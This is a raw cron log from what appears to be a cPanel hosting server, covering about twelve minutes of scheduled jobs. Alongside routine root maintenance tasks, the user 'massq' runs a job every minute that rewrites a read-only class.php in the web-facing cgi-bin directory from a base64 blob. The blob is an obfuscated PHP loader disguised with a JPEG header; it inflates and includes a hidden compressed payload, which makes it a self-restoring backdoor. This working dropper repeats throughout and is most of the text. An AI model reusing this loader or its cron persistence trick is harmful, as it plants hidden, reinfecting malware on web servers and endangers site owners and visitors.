Sep  9 15:26:01 server CROND[10776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:26:01 server CROND[10778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:27:01 server CROND[11153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:27:01 server CROND[11154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:27:01 server CROND[11155]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 15:27:01 server CROND[11156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:28:01 server CROND[11533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:28:01 server CROND[11532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:28:01 server CROND[11535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:29:01 server CROND[11897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:29:01 server CROND[11898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:29:01 server CROND[11899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:30:01 server CROND[12369]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 15:30:01 server CROND[12393]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 15:30:01 server CROND[12397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:30:01 server CROND[12399]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 15:30:01 server CROND[12396]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:30:01 server CROND[12398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:30:01 server CROND[12400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:30:01 server CROND[12402]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:31:01 server CROND[13230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:31:01 server CROND[13231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:31:01 server CROND[13229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:32:01 server CROND[13601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:32:01 server CROND[13602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:32:01 server CROND[13604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:33:01 server CROND[13991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:33:01 server CROND[13990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:33:01 server CROND[13992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:34:01 server CROND[14360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:34:01 server CROND[14361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:34:01 server CROND[14362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:35:02 server CROND[14841]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 15:35:02 server CROND[14842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:35:02 server CROND[14843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:35:02 server CROND[14853]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 15:35:02 server CROND[14856]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:35:02 server CROND[14854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:35:02 server CROND[14857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:35:02 server CROND[14855]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 15:35:02 server CROND[14852]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 15:36:01 server CROND[15671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:36:01 server CROND[15672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:36:01 server CROND[15673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:37:01 server CROND[16039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:37:01 server CROND[16040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:37:01 server CROND[16041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:38:01 server CROND[16415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
